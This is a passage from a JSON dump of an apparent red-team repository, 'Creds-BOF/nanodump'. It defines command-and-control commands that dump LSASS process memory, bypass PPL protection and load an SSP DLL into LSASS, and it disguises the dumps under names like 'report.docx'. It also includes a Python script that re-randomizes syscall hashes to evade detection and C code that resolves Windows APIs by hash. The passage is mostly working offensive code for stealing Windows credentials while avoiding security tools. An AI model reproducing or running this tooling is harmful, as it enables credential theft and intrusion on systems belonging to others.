    "content": "var cmd_nanodump = ax.create_command(\"nanodump\", \"Use syscalls to dump LSASS\", \"nanodump -d -w C:\\\\Windows\\\\Temp\\\\report.docx\");\ncmd_nanodump.addArgFlagString( \"-w\", \"DUMP_PATH\",         false, \"Filename of the dump\");\ncmd_nanodump.addArgBool(       \"--valid\",                        \"Create a dump with a valid signature\");\ncmd_nanodump.addArgBool(       \"-d\",                             \"Duplicate: a high privileged existing LSASS handle\");\ncmd_nanodump.addArgBool(       \"-de\",                            \"Duplicate-elevate: a low privileged existing LSASS handle and then elevate it\");\n// cmd_nanodump.addArgBool(       \"-sll\",                           \"Seclogon-leak-local: leak an LSASS handle into nanodump via seclogon\");\ncmd_nanodump.addArgFlagString( \"-slr\", \"SLR_BIN_PATH\",    false, \"Seclogon-leak-remote: leak an LSASS handle into another process via seclogon and duplicate it\");\ncmd_nanodump.addArgBool(       \"-sd\",                            \"Seclogon-duplicate: make seclogon open a handle to LSASS and duplicate it\");\ncmd_nanodump.addArgBool(       \"-sc\",                            \"Spoof-callstack: open a handle to LSASS using a fake calling stack\");\ncmd_nanodump.addArgFlagString( \"-spe\", \"SPE_DUMP_FOLDER\", false, \"Silent-process-exit: force WerFault.exe to dump LSASS via SilentProcessExit\");\ncmd_nanodump.addArgBool(       \"-sk\",                            \"Force WerFault.exe to dump LSASS via Shtinkering (Need SYSTEM)\");\ncmd_nanodump.addArgBool(       \"--fork\",                         \"Fork the target process before dumping\");\ncmd_nanodump.addArgBool(       \"--snapshot\",                     \"Snapshot the target process before dumping\");\ncmd_nanodump.addArgBool(       \"-eh\",                            \"Elevate-handle: open a handle to LSASS with low privileges and duplicate it to gain higher privileges\");\ncmd_nanodump.addArgBool(       \"--getpid\",                       \"Print the PID of LSASS and leave\");\ncmd_nanodump.addArgFlagInt(    \"--pid\", \"PID\",            false, \"PID of LSASS\");\n\ncmd_nanodump.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)\n{\n    if( ax.is64(id) == false ) { throw new Error(\"WoW64 is not supported\"); }\n\n    if( ax.isadmin(id) == false ) { throw new Error(\"You need to be admin to run nanodump\"); }\n\n    let silent_process_exit = \"\";\n    let use_silent_process_exit = 0;\n    let seclogon_leak_remote_binary = \"\";\n    let use_seclogon_leak_local = 0;\n    let use_seclogon_leak_remote = 0;\n    let use_seclogon_duplicate = 0;\n    let get_pid = 0;\n    let pid = 0;\n    let dump_path = ax.agent_info(id, \"computer\") + \"_\" + ax.ticks() + \".dmp\";\n    let write_file = 0;\n    let fork = 0;\n    let snapshot = 0;\n    let dup = 0;\n    let use_valid_sig = 0;\n    let spoof_callstack = 0;\n    let use_lsass_shtinkering = 0;\n    let elevate_handle = 0;\n    let duplicate_elevate = 0;\n    let chunk_size = 0xe1000;\n\n    if(parsed_json[\"--getpid\"]) { get_pid = 1; }\n    if(parsed_json[\"--valid\"]) { use_valid_sig = 1; }\n    if(parsed_json[\"--fork\"]) { fork = 1; }\n    if(parsed_json[\"--snapshot\"]) { snapshot = 1; }\n    if(parsed_json[\"-d\"]) { dup = 1; }\n    if(parsed_json[\"-eh\"]) { elevate_handle = 1; }\n    if(parsed_json[\"-de\"]) { duplicate_elevate = 1; }\n    if(parsed_json[\"-sll\"]) { use_seclogon_leak_local = 1; }\n    if(parsed_json[\"-sk\"]) { use_lsass_shtinkering = 1; }\n    if(parsed_json[\"-sd\"]) { use_seclogon_duplicate = 1; }\n    if(parsed_json[\"-sc\"]) { spoof_callstack = 1; }\n\n    if(\"PID\" in parsed_json) {\n        pid = parsed_json[\"PID\"];\n    }\n    if(\"SPE_DUMP_FOLDER\" in parsed_json) {\n        silent_process_exit = parsed_json[\"SPE_DUMP_FOLDER\"];\n        use_silent_process_exit = 1;\n    }\n    if(\"SLR_BIN_PATH\" in parsed_json) {\n        seclogon_leak_remote_binary = parsed_json[\"SLR_BIN_PATH\"];\n        use_seclogon_leak_remote = 1;\n    }\n    if(\"DUMP_PATH\" in parsed_json) {\n        dump_path = parsed_json[\"DUMP_PATH\"];\n        write_file = 1;\n    }\n\n    if( get_pid &&\n        (write_file || use_valid_sig || snapshot || fork || elevate_handle || duplicate_elevate || use_seclogon_duplicate || spoof_callstack || use_seclogon_leak_local || use_seclogon_leak_remote || dup || use_silent_process_exit || use_lsass_shtinkering)\n    ) { throw new Error(\"The parameter --getpid is used alone\"); }\n\n    if (use_silent_process_exit &&\n        (write_file || use_valid_sig || snapshot || fork || elevate_handle || duplicate_elevate || use_seclogon_duplicate || spoof_callstack || use_seclogon_leak_local || use_seclogon_leak_remote || dup || use_lsass_shtinkering)\n    ) { throw new Error(\"The parameter -spe is used alone\"); }\n\n    if( dup && elevate_handle ) { throw new Error(\"The options -d and -eh cannot be used together\"); }\n    if( duplicate_elevate && spoof_callstack ) { throw new Error(\"The options -de and -sc cannot be used together\"); }\n    if( dup && spoof_callstack ) { throw new Error(\"The options -d and -sc cannot be used together\"); }\n    if( dup && use_seclogon_duplicate ) { throw new Error(\"The options -d and -sd cannot be used together\"); }\n    if( elevate_handle && duplicate_elevate ) { throw new Error(\"The options -eh and -de cannot be used together\"); }\n    if( duplicate_elevate && dup ) { throw new Error(\"The options -de and -d cannot be used together\"); }\n    if( duplicate_elevate && use_seclogon_duplicate ) { throw new Error(\"The options -de and -sd cannot be used together\"); }\n    if( elevate_handle && use_seclogon_duplicate ) { throw new Error(\"The options -eh and -sd cannot be used together\"); }\n    if( dup && use_seclogon_leak_local ) { throw new Error(\"The options -d and -sll cannot be used together\"); }\n    if( elevate_handle && use_seclogon_leak_local ) { throw new Error(\"The options -eh and -sll cannot be used together\"); }\n    if( dup && use_seclogon_leak_remote ) { throw new Error(\"The options -d and -slr cannot be used together\"); }\n    if( duplicate_elevate && use_seclogon_leak_remote ) { throw new Error(\"The options -de and -slr cannot be used together\"); }\n    if( elevate_handle && use_seclogon_leak_remote ) { throw new Error(\"The options --eh and -slr cannot be used together\"); }\n    if( use_seclogon_leak_local && use_seclogon_leak_remote ) { throw new Error(\"The options -sll and -slr cannot be used together\"); }\n    if( use_seclogon_leak_local && use_seclogon_duplicate ) { throw new Error(\"The options -sll and -sd cannot be used together\"); }\n    if( use_seclogon_leak_local && spoof_callstack ) { throw new Error(\"The options -sll and -sc cannot be used together\"); }\n    if (use_seclogon_leak_remote && use_seclogon_duplicate) { throw new Error(\"The options -slr and -sd cannot be used together\"); }\n    if (use_seclogon_leak_remote && spoof_callstack) { throw new Error(\"The options -slr and -sc cannot be used together\"); }\n    if (use_seclogon_duplicate && spoof_callstack) { throw new Error(\"The options -sd and -sc cannot be used together\"); }\n    if (!use_lsass_shtinkering && use_seclogon_leak_local && !write_file) { throw new Error(\"If -sll is being used, you need to provide the dump path with -w\"); }\n    if (!use_lsass_shtinkering && use_seclogon_leak_local && !(/^[A-Za-z]:\\\\.*/.test(dump_path)) ) { throw new Error(\"If -sll is being used, you need to provide the full path: \" + dump_path); }\n    if (use_lsass_shtinkering && fork) { throw new Error(\"The options -sk and --fork cannot be used together\"); }\n    if (use_lsass_shtinkering && snapshot) { throw new Error(\"The options -sk and -ss cannot be used together\"); }\n    if (use_lsass_shtinkering && use_valid_sig) { throw new Error(\"The options -sk and --valid cannot be used together\"); }\n    if (use_lsass_shtinkering && write_file) { throw new Error(\"The options -sk and -w cannot be used together\"); }\n\n    // if($use_seclogon_leak_local)\n    // {\n    //     $folder = \"C:\\\\Windows\\\\Temp\";\n    //     $seclogon_leak_remote_binary = $folder . \"\\\\\" .  generate_rand_string(5, 10) . \".exe\";\n    //     blog($1, \"[!] An unsigned nanodump binary will be uploaded to: \". $seclogon_leak_remote_binary);\n    //     $handle = openf(script_resource(\"_bin/nanodump.\" . $barch . \".exe\"));\n    //     $exe = readb($handle, -1);\n    //     closef($handle);\n    //     if(strlen($exe) == 0)\n    //     {\n    //         berror($1, \"could not read exe file\");\n    //         return;\n    //     }\n    //     bupload_raw($1, $seclogon_leak_remote_binary, $exe);\n    // }\n\n    let bof_path = ax.script_dir() + \"_bin/nanodump.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"int,cstr,int,int,int,int,int,int,int,int,int,int,int,cstr,int,int,int,cstr,int\", [pid, dump_path, write_file, chunk_size, use_valid_sig, fork, snapshot, dup, elevate_handle, duplicate_elevate, get_pid, use_seclogon_leak_local, use_seclogon_leak_remote, seclogon_leak_remote_binary, use_seclogon_duplicate, spoof_callstack, use_silent_process_exit, silent_process_exit, use_lsass_shtinkering ]);\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Running NanoDump BOF\");\n});\n\n\n\n\n\nvar cmd_nanodump_ppl_dump = ax.create_command(\"nanodump_ppl_dump\", \"Bypass PPL and dump LSASS\", \"nanodump_ppl_dump -d -w C:\\\\Windows\\\\Temp\\\\report.docx\");\ncmd_nanodump_ppl_dump.addArgFlagString( \"-w\", \"DUMP_PATH\", true, \"Filename of the dump\");\ncmd_nanodump_ppl_dump.addArgBool(       \"--valid\",               \"Create a dump with a valid signature\");\ncmd_nanodump_ppl_dump.addArgBool(       \"-d\",                    \"Duplicate: a high privileged existing LSASS handle\");\n\ncmd_nanodump_ppl_dump.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)\n{\n    if( ax.is64(id) == false ) { throw new Error(\"WoW64 is not supported\"); }\n\n    if( ax.isadmin(id) == false ) { throw new Error(\"You need to be admin to run nanodump\"); }\n\n    let dll_path = ax.script_dir() + \"_bin/nanodump_ppl_dump.\" + ax.arch(id) + \".dll\";\n    let dll = ax.file_read(dll_path);\n    if(dll.length == 0) {\n        throw new Error(`file ${dll_path} not readed`);\n    }\n\n    let dup = 0;\n    let use_valid_sig = 0;\n    let dump_path = parsed_json[\"DUMP_PATH\"];\n\n    if(parsed_json[\"--valid\"]) { use_valid_sig = 1; }\n    if(parsed_json[\"-d\"]) { dup = 1; }\n\n    if ( !(/^[A-Za-z]:\\\\.*/.test(dump_path)) ) { throw new Error(\"You need to provide the full path: \" + dump_path); }\n\n    let bof_path = ax.script_dir() + \"_bin/nanodump_ppl_dump.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"cstr,int,int,bytes\", [dump_path, use_valid_sig, dup, dll]);\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Running NanoDumpPPLDump BOF\");\n});\n\n\n\n\n\nvar cmd_nanodump_ppl_medic = ax.create_command(\"nanodump_ppl_medic\", \"Bypass PPL and dump LSASS\", \"nanodump_ppl_dump -eh -w C:\\\\Windows\\\\Temp\\\\report.docx\");\ncmd_nanodump_ppl_medic.addArgFlagString( \"-w\", \"DUMP_PATH\", true, \"Filename of the dump\");\ncmd_nanodump_ppl_medic.addArgBool(       \"--valid\",               \"Create a dump with a valid signature\");\ncmd_nanodump_ppl_medic.addArgBool(       \"-eh\",                   \"Elevate-handle: open a handle to LSASS with low privileges and duplicate it to gain higher privileges\");\n\ncmd_nanodump_ppl_medic.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)\n{\n    if( ax.is64(id) == false ) { throw new Error(\"WoW64 is not supported\"); }\n\n    if( ax.isadmin(id) == false ) { throw new Error(\"You need to be admin to run nanodump\"); }\n\n    let dll_path = ax.script_dir() + \"_bin/nanodump_ppl_medic.\" + ax.arch(id) + \".dll\";\n    let dll = ax.file_read(dll_path);\n    if(dll.length == 0) {\n        throw new Error(`file ${dll_path} not readed`);\n    }\n\n    let elevate_handle = 0;\n    let use_valid_sig = 0;\n    let dump_path = parsed_json[\"DUMP_PATH\"];\n\n    if(parsed_json[\"--valid\"]) { use_valid_sig = 1; }\n    if(parsed_json[\"-eh\"]) { elevate_handle = 1; }\n\n    if ( !(/^[A-Za-z]:\\\\.*/.test(dump_path)) ) { throw new Error(\"You need to provide the full path: \" + dump_path); }\n\n    let bof_path = ax.script_dir() + \"_bin/nanodump_ppl_medic.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"bytes,cstr,int,int\", [dll, dump_path, use_valid_sig, elevate_handle]);\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Running NanoDumpPPLMedic BOF\");\n});\n\n\n\n\n\nvar cmd_nanodump_ssp = ax.create_command(\"nanodump_ssp\", \"Load a Security Support Provider (SSP) into LSASS\", \"nanodump_ssp --write C:\\\\Windows\\\\Temp\\\\doc.docx\");\ncmd_nanodump_ssp.addArgFlagString( \"-w\", \"DUMP_PATH\",          true,  \"Filename of the dump\");\ncmd_nanodump_ssp.addArgBool(       \"--valid\",                         \"Create a dump with a valid signature\");\ncmd_nanodump_ssp.addArgFlagString( \"--write-dll\", \"WRITE_DLL\", false, \"Path where to write the SSP DLL from nanodump (randomly generated if not defined)\");\ncmd_nanodump_ssp.addArgFlagString( \"--load-dll\",  \"LOAD_DLL\",  false, \"Load an existing SSP DLL\");\n\ncmd_nanodump_ssp.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)\n{\n    if( ax.is64(id) == false ) { throw new Error(\"WoW64 is not supported\"); }\n\n    if( ax.isadmin(id) == false ) { throw new Error(\"You need to be admin to run nanodump\"); }\n\n    let use_valid_sig = 0;\n    let write_dll_path = \"\";\n    let load_dll_path = \"\";\n    let dll = \"\";\n\n    let dump_path = parsed_json[\"DUMP_PATH\"];\n    if ( !(/^[A-Za-z]:\\\\.*/.test(dump_path)) ) { throw new Error(\"You need to provide the full path: \" + dump_path); }\n\n    if(parsed_json[\"--valid\"]) { use_valid_sig = 1; }\n    if(\"WRITE_DLL\" in parsed_json) { write_dll_path = parsed_json[\"WRITE_DLL\"]; }\n    if(\"LOAD_DLL\" in parsed_json) { load_dll_path = parsed_json[\"LOAD_DLL\"]; }\n\n    if( load_dll_path.length && write_dll_path.length ) { throw new Error(\"The options --write-dll and --load-dll cannot be used together\"); }\n    if( load_dll_path.length && !(/^[A-Za-z]:\\\\.*/.test(load_dll_path)) ) { throw new Error(\"You need to provide the full path: \" + load_dll_path); }\n\n    if( write_dll_path.length ) {\n        let dll_path = ax.script_dir() + \"_bin/nanodump_ssp.\" + ax.arch(id) + \".dll\";\n        dll = ax.file_read(dll_path);\n        if(dll.length == 0) {\n            throw new Error(`file ${dll_path} not readed`);\n        }\n    }\n\n    let bof_path = ax.script_dir() + \"_bin/nanodump_ssp.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"bytes,cstr,cstr,cstr,int\", [dll, write_dll_path, load_dll_path, dump_path, use_valid_sig]);\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Running nanodump_ssp BOF\");\n});"
  },
  {
    "path": "Creds-BOF/nanodump/scripts/randomize_sw2_seed.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport glob\nimport random\nimport struct\n\n\ndef get_old_seed():\n    with open('include/syscalls.h') as f:\n        code = f.read()\n    match = re.search(r'#define SW2_SEED (0x[a-fA-F0-9]{8})', code)\n    assert match is not None, 'SW2_SEED not found!'\n    return match.group(1)\n\n\ndef replace_seed(old_seed, new_seed):\n    with open('include/syscalls.h') as f:\n        code = f.read()\n    code = code.replace(\n        f'#define SW2_SEED {old_seed}',\n        f'#define SW2_SEED 0x{new_seed:08X}',\n        1\n    )\n    with open('include/syscalls.h', 'w') as f:\n        f.write(code)\n\n\ndef get_function_hash(seed, function_name, is_syscall=True):\n    function_hash = seed\n    function_name = function_name.replace('_', '')\n    if is_syscall and function_name[:2] == 'Nt':\n        function_name = 'Zw' + function_name[2:]\n    name = function_name + '\\0'\n    ror8 = lambda v: ((v >> 8) & (2 ** 32 - 1)) | ((v << 24) & (2 ** 32 - 1))\n\n    for segment in [s for s in [name[i:i + 2] for i in range(len(name))] if len(s) == 2]:\n        partial_name_short = struct.unpack('<H', segment.encode())[0]\n        function_hash ^= partial_name_short + ror8(function_hash)\n\n    return function_hash\n\n\ndef replace_syscall_hashes(seed):\n    with open('source/syscalls.c') as f:\n        code = f.read()\n    regex = re.compile(r'__declspec\\(naked\\) NTSTATUS (Nt[^(]+)')\n    syscall_names = re.findall(regex, code)\n    syscall_names = set(syscall_names)\n    syscall_definitions = code.split('#elif defined(__GNUC__)')[4]\n\n    for syscall_name in syscall_names:\n        regex = re.compile('NTSTATUS ' + syscall_name + '\\\\(.*?\"mov rcx, (0x[A-Fa-f0-9]{8})', re.DOTALL)\n        match = re.search(regex, syscall_definitions)\n        assert match is not None, f'hash of syscall {syscall_name} not found!'\n        old_hash = match.group(1)\n        new_hash = get_function_hash(seed, syscall_name)\n        print(f'{syscall_name} -> {old_hash} - 0x{new_hash:08X}')\n        code = code.replace(\n            old_hash,\n            f'0x{new_hash:08X}'\n        )\n\n    with open('source/syscalls.c', 'w') as f:\n        f.write(code)\n\n    with open('source/syscalls-asm.asm') as f:\n        code = f.read()\n\n    for syscall_name in syscall_names:\n        regex = re.compile(syscall_name + ' PROC.*?mov rcx, 0([A-Fa-f0-9]{8})h', re.DOTALL)\n        match = re.search(regex, code)\n        assert match is not None, f'hash of syscall {syscall_name} not found!'\n        old_hash = match.group(1)\n        new_hash = get_function_hash(seed, syscall_name)\n        code = code.replace(\n            f'0{old_hash}h',\n            f'0{new_hash:08X}h',\n            1\n        )\n\n    with open('source/syscalls-asm.asm', 'w') as f:\n        f.write(code)\n\n\ndef replace_dinvoke_hashes(seed):\n    for header_file in glob.glob(\"include/**/*.h\", recursive=True):\n        with open(header_file) as f:\n            code = f.read()\n        regex = re.compile(r'#define (\\w+)_SW2_HASH (0x[a-fA-F0-9]{8})')\n        matches = re.findall(regex, code)\n        for function_name, old_hash in matches:\n            new_hash = get_function_hash(seed, function_name, is_syscall=False)\n            code = code.replace(\n                f'#define {function_name}_SW2_HASH {old_hash}',\n                f'#define {function_name}_SW2_HASH 0x{new_hash:08X}',\n                1\n            )\n        if matches:\n            with open(header_file, 'w') as f:\n                f.write(code)\n\n\ndef main():\n    #new_seed = random.randint(2 ** 28, 2 ** 32 - 1)\n    new_seed = 0x1337c0de\n    fun = 'OpenSCManagerW'\n    import sys\n    fun = sys.argv[1]\n    new_hash = get_function_hash(new_seed, fun, True)\n    print(f'{fun}: 0x{new_hash:08X}')\n    return\n\n    old_seed = get_old_seed()\n    replace_seed(old_seed, new_seed)\n    replace_syscall_hashes(new_seed)\n    replace_dinvoke_hashes(new_seed)\n    if os.name == 'nt':\n        print('done! recompile with:\\nnmake -f Makefile.msvc')\n    else:\n        print('done! recompile with:\\nmake -f Makefile')\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/bin2c.c",
    "content": "#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n\tif (argc != 3)\n\t{\n\t\tfprintf(stderr, \"usage: %s <input file> <array name>\\n\", argv[0]);\n\t\treturn 0;\n\t}\n\n\tFILE* f = fopen(argv[1], \"rb\");\n\tif (!f)\n\t{\n\t\tfprintf(stderr, \"Invalid input file: %s\\n\", argv[1]);\n\t\treturn -1;\n\t}\n\n\tprintf(\"#pragma once\\n\\nunsigned char %s[] = {\", argv[2]);\n\n\tunsigned long n = 0;\n\tunsigned char c;\n\twhile(!feof(f))\n\t{\n\t\tif (!fread(&c, 1, 1, f))\n\t\t\tbreak;\n\t\tprintf(\"0x%.2X,\", (int)c);\n\t\tn++;\n\t}\n\tfclose(f);\n\n\tprintf(\"};\\n\");\n\tprintf(\"unsigned int %s_len = %ld;\\n\", argv[2], n);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/delete_file.c",
    "content": "\n#include \"delete_file.h\"\n#ifdef BOF\n #include \"utils.c\"\n #include \"syscalls.c\"\n#endif\n\n// this is used to delete the nanodump DLL\nVOID do_delete(\n    IN LPSTR file_path)\n{\n    if (!file_exists(file_path))\n    {\n        PRINT_ERR(\"The file does not exists\");\n        return;\n    }\n    BOOL ok = delete_file(file_path);\n    if (!ok)\n    {\n        PRINT_ERR(\"Could not delete the file\");\n        return;\n    }\n    PRINT(\"The file has been deleted\");\n    return;\n}\n\n#ifdef BOF\n\nvoid go(char* args, int length)\n{\n    datap  parser;\n    LPSTR ssp_path;\n\n    BeaconDataParse(&parser, args, length);\n    ssp_path = BeaconDataExtract(&parser, NULL);\n\n    do_delete(ssp_path);\n}\n\n#else\n\nint main(int argc, char* argv[])\n{\n    if (argc != 2)\n    {\n        printf(\"usage: %s <file path>\\n\", argv[0]);\n        return -1;\n    }\n\n    do_delete(argv[1]);\n    return 0;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/dinvoke.c",
    "content": "#include \"dinvoke.h\"\n\n// used by spoof_callstack\nPVOID find_dll_by_pointer(\n    IN PVOID address)\n{\n    PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET);\n    PND_PEB_LDR_DATA Ldr = Peb->Ldr;\n    PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink;\n    PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;\n\n    do\n    {\n        if ((ULONG_PTR)address >= (ULONG_PTR)Entry->DllBase &&\n            (ULONG_PTR)address < RVA(ULONG_PTR, Entry->DllBase, Entry->SizeOfImage))\n            return Entry->DllBase;\n\n        Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink;\n    } while (Entry != FirstEntry);\n\n    DPRINT_ERR(\"Could not find the target DLL from the pointer 0x%p\", address);\n\n    return NULL;\n}\n\n/*\n * Check that hLibrary is indeed a DLL and not something else\n */\nBOOL is_dll(\n    IN HMODULE hLibrary)\n{\n    PIMAGE_DOS_HEADER dos;\n    PIMAGE_NT_HEADERS nt;\n\n    if (!hLibrary)\n        return FALSE;\n\n    dos = (PIMAGE_DOS_HEADER)hLibrary;\n\n    // check the MZ magic bytes\n    if (dos->e_magic != MZ)\n        return FALSE;\n\n    nt = RVA(PIMAGE_NT_HEADERS, hLibrary, dos->e_lfanew);\n\n    // check the NT_HEADER signature\n    if (nt->Signature != IMAGE_NT_SIGNATURE)\n        return FALSE;\n\n    // check that it is a DLL and not a PE\n    USHORT Characteristics = nt->FileHeader.Characteristics;\n    if ((Characteristics & IMAGE_FILE_DLL) != IMAGE_FILE_DLL)\n        return FALSE;\n\n    return TRUE;\n}\n\n/*\n * Look among all loaded DLLs for an export with certain function hash\n */\nPVOID find_legacy_export(\n    IN HMODULE hOriginalLibrary,\n    IN DWORD fhash)\n{\n    PVOID addr;\n    PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET);\n    PND_PEB_LDR_DATA Ldr = Peb->Ldr;\n    PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink;\n    PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;\n\n    for (; Entry != FirstEntry; Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink)\n    {\n        // avoid looking in the DLL that brought us here\n        if (Entry->DllBase == hOriginalLibrary)\n            continue;\n\n        // check if this DLL has an export with the function hash we are looking for\n        addr = get_function_address(\n            Entry->DllBase,\n            fhash,\n            0);\n        if (!addr)\n            continue;\n\n        return addr;\n    }\n\n    return NULL;\n}\n\n/*\n * Follow the reference and return the real address of the function\n */\nPVOID resolve_reference(\n    IN HMODULE hOriginalLibrary,\n    IN PVOID addr)\n{\n    HANDLE hLibrary;\n    PVOID new_addr;\n    LPCSTR api;\n\n    // addr points to a string like: NewLibrary.NewFunctionName\n    api = &strrchr(addr, '.')[1];\n    DWORD dll_length = (DWORD)((ULONG_PTR)api - (ULONG_PTR)addr);\n    char dll[MAX_PATH + 1] = {0};\n    strncpy(dll, (LPCSTR)addr, dll_length);\n    strncat(dll, \"dll\", MAX_PATH);\n    wchar_t wc_dll[MAX_PATH] = {0};\n    mbstowcs(wc_dll, dll, MAX_PATH);\n\n    // try to find the library NewLibrary\n    hLibrary = get_library_address(wc_dll, FALSE);\n    if (!hLibrary)\n    {\n        // the library is not loaded, meaning it is a legacy DLL\n        new_addr = find_legacy_export(\n            hOriginalLibrary,\n            SW2_HashSyscall(api));\n\n        return new_addr;\n    }\n\n    // get the address of NewFunction in NewLibrary\n    new_addr = get_function_address(\n        hLibrary,\n        SW2_HashSyscall(api),\n        0);\n\n    return new_addr;\n}\n\n/*\n * Find an export in a DLL\n */\nPVOID get_function_address(\n    IN HMODULE hLibrary,\n    IN DWORD fhash,\n    IN WORD ordinal)\n{\n    PIMAGE_DOS_HEADER       dos;\n    PIMAGE_NT_HEADERS       nt;\n    PIMAGE_DATA_DIRECTORY   data;\n    PIMAGE_EXPORT_DIRECTORY exp;\n    DWORD                   exp_size;\n    PDWORD                  adr;\n    PDWORD                  sym;\n    PWORD                   ord;\n    LPCSTR                  api;\n    PVOID                   addr;\n\n    if (!is_dll(hLibrary))\n        return NULL;\n\n    dos  = (PIMAGE_DOS_HEADER)hLibrary;\n    nt   = RVA(PIMAGE_NT_HEADERS, hLibrary, dos->e_lfanew);\n    data = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;\n\n    if (!data->Size || !data->VirtualAddress)\n        return NULL;\n\n    exp      = RVA(PIMAGE_EXPORT_DIRECTORY, hLibrary, data->VirtualAddress);\n    exp_size = data[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;\n\n    adr = RVA(PDWORD, hLibrary, exp->AddressOfFunctions);\n    sym = RVA(PDWORD, hLibrary, exp->AddressOfNames);\n    ord = RVA(PWORD,  hLibrary, exp->AddressOfNameOrdinals);\n\n    addr = NULL;\n    if (fhash)\n    {\n        // iterate over all the exports\n        for (DWORD i = 0; i < exp->NumberOfNames; i++)\n        {\n            api = RVA(LPCSTR, hLibrary, sym[i]);\n            //addr = RVA(PVOID, hLibrary, adr[ord[i]]);\n            //DPRINT(\"%lx -> %s -> 0x%llx\", fhash, api, (ULONG_PTR)addr-(ULONG_PTR)hLibrary);\n            if (fhash == SW2_HashSyscall(api))\n            {\n                addr = RVA(PVOID, hLibrary, adr[ord[i]]);\n                break;\n            }\n        }\n    }\n    else\n    {\n        addr = RVA(PVOID, hLibrary, adr[ordinal - exp->Base]);\n    }\n    if (!addr)\n        return NULL;\n\n    // check if addr is a pointer to another function in another DLL\n    if ((ULONG_PTR)addr >= (ULONG_PTR)exp &&\n        (ULONG_PTR)addr <  RVA(ULONG_PTR, exp, exp_size))\n    {\n        // the function seems to be defined somewhere else\n        addr = resolve_reference(\n            hLibrary,\n            addr);\n    }\n    return addr;\n}\n\n/*\n * Get the base address of a DLL\n */\nHANDLE get_library_address(\n    IN LPWSTR lib_path,\n    IN BOOL DoLoad)\n{\n    PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET);\n    PND_PEB_LDR_DATA Ldr = Peb->Ldr;\n    PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink;\n    PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;\n    BOOL is_full_path = wcsrchr(lib_path, '\\\\') ? TRUE : FALSE;\n\n    do\n    {\n        if (is_full_path)\n        {\n            // the dll name was provided\n            if (!_wcsicmp(lib_path, Entry->FullDllName.Buffer))\n                return Entry->DllBase;\n        }\n        else\n        {\n            // the full path was provided\n            if (!_wcsicmp(lib_path, Entry->BaseDllName.Buffer))\n                return Entry->DllBase;\n        }\n\n        Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink;\n    } while (Entry != FirstEntry);\n\n    if (!DoLoad)\n        return NULL;\n\n    // the library is not currently loaded\n    // get the address of LdrLoadDll\n    LdrLoadDll_t LdrLoadDll = (LdrLoadDll_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, FALSE),\n        LdrLoadDll_SW2_HASH,\n        0);\n    if (!LdrLoadDll)\n    {\n        api_not_found(\"LdrLoadDll\");\n        return NULL;\n    }\n\n    // create a UNICODE_STRING with the library name\n    UNICODE_STRING ModuleFileName = { 0 };\n    ModuleFileName.Buffer = lib_path;\n    ModuleFileName.Length = (USHORT)wcsnlen(ModuleFileName.Buffer, MAX_PATH);\n    ModuleFileName.Length *= 2;\n    ModuleFileName.MaximumLength = ModuleFileName.Length + 2;\n\n    // load the library\n    HANDLE hLibrary = NULL;\n    NTSTATUS status = LdrLoadDll(\n        NULL,\n        0,\n        &ModuleFileName,\n        &hLibrary);\n    if (!NT_SUCCESS(status))\n    {\n        DPRINT_ERR(\n            \"Failed to load %ls, status: 0x%lx\\n\",\n            lib_path,\n            status);\n        return NULL;\n    }\n    DPRINT(\"Loaded %ls at 0x%p\", lib_path, hLibrary);\n\n    return hLibrary;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/entry.c",
